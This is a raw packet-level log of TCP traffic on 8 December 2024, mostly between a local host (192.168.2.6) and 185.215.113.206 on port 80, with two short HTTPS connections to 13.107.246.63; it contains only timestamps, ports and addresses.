Dec 8, 2024 17:45:15.476090908 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.476250887 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.476299047 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.476299047 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.478053093 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.478065014 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.478190899 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.480004072 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.480132103 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.480165005 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.480289936 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.482049942 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.482215881 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.482245922 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.483994961 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.525312901 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.525363922 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.525393009 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.525527000 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.525922060 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.525957108 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.525984049 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.526115894 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.528089046 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.528177023 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.528206110 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.528258085 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.530464888 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.530535936 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.531373978 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.531481028 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.531758070 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.531776905 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.531939983 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.534106016 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.534117937 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.534198046 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.537616968 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.537631035 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.537765980 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.539434910 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.539447069 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.539561987 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.541801929 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.541815042 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.541996002 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.544197083 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.544209003 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.544353008 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.545752048 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.545909882 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.545918941 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.546029091 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.547771931 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.547894001 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.547938108 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.548005104 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.549937010 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.549949884 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.550040960 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.551860094 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.551956892 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.552009106 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.552112103 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.554090023 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.554102898 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.554169893 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.555982113 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.556051016 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.556132078 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.556231976 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.558274984 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.558288097 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.558341026 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.558341026 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.560818911 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.560831070 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.560952902 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.562586069 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.562701941 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.562726021 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.562829018 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.564599037 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.564752102 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.564769983 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.564867020 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.566437960 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.566555023 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.566586018 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.566703081 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.568705082 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.568717957 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.568855047 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.570605993 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.570730925 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.570792913 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.571062088 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.572380066 CET	443	49717	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:15.573513985 CET	49717	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:15.573513985 CET	49717	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:15.573537111 CET	443	49717	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:15.573554993 CET	443	49717	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:15.574011087 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:15.574652910 CET	49718	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:15.574652910 CET	49718	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:15.574666977 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:15.574687958 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:15.588063002 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.588073969 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.588243008 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.588692904 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.588804007 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.588841915 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.589020967 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.590863943 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.590876102 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.591020107 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.592849016 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.592924118 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.592988968 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.593105078 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.595068932 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.595081091 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.595182896 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.597011089 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.597076893 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.597181082 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.597393990 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.599210978 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.599328995 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.599353075 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.599409103 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.601316929 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.601461887 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.601485014 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.601543903 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.653162956 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.653379917 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.674379110 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.674645901 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.676071882 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.676147938 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.676177979 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.677033901 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.677130938 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.677154064 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.677236080 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.679096937 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.679219961 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.679246902 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.679450035 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.685928106 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.686048031 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.686557055 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.686569929 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.686777115 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.688252926 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.688339949 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.688375950 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.688465118 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.690332890 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.690454006 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.690475941 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.690669060 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.692416906 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.692497969 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.692774057 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.693613052 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.693700075 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.693727016 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.694858074 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.694925070 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.694951057 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.694987059 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.695949078 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.696059942 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.696069956 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.696197033 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.697134972 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.697213888 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.697249889 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.697263002 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.698215961 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.698323011 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.698592901 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.699460983 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.699536085 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.699620008 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.700629950 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.700766087 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.700769901 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.700870037 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.701934099 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.702047110 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.702075958 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.702124119 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.703167915 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.703309059 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.703329086 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.703474045 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.704294920 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.704396009 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.704649925 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.705316067 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.705408096 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.705432892 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.706445932 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.706537962 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.706562996 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.706690073 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.707607031 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.707721949 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.707748890 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.708777905 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.708854914 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.708880901 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.708976984 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.717798948 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.717860937 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.717886925 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.718034029 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.718132019 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.718245983 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.718327045 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.719269037 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.719371080 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.719521046 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.720499039 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.720593929 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.720608950 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.720639944 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.721275091 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.721393108 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.721394062 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.721479893 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.722460985 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.722527027 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.722551107 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.722641945 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.723638058 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.723732948 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.723771095 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.723939896 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.724805117 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.724942923 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.724946022 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.725064039 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.725991964 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.726124048 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.726315975 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.727180958 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.727194071 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.727798939 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.728310108 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.728415966 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.728441954 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.728594065 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.729497910 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.729624987 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.729659081 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.729736090 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.730632067 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.730720997 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.730839014 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.731806040 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.731918097 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.731931925 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.732055902 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.733016968 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.733076096 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.733104944 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.733210087 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.734251976 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.734395027 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.734411955 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.734674931 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.735335112 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.735441923 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.735472918 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.735541105 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.736522913 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.736605883 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.736666918 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.736784935 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.737745047 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.737806082 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.737922907 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.738821030 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.738955975 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.738981962 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.739097118 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.740001917 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.740185022 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.740196943 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.740258932 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.741202116 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.741214037 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.741362095 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.742294073 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.742413044 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.742661953 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.743460894 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.743583918 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.743588924 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.743666887 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.778641939 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.778717995 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.778747082 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.778831959 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.778883934 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.778883934 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.778918982 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.779058933 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.780106068 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.780244112 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.780273914 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.781200886 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.781303883 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.781316996 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.781377077 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.782313108 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.782428026 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.782490015 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.783535004 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.783668995 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.783694983 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.783783913 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.784723997 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.784827948 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.784851074 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.784965992 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.785881996 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.786030054 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.786097050 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.786712885 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.787039995 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.787133932 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.787144899 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:15.787288904 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:15.788186073 CET	80	49715	185.215.113.206	192.168.2.6
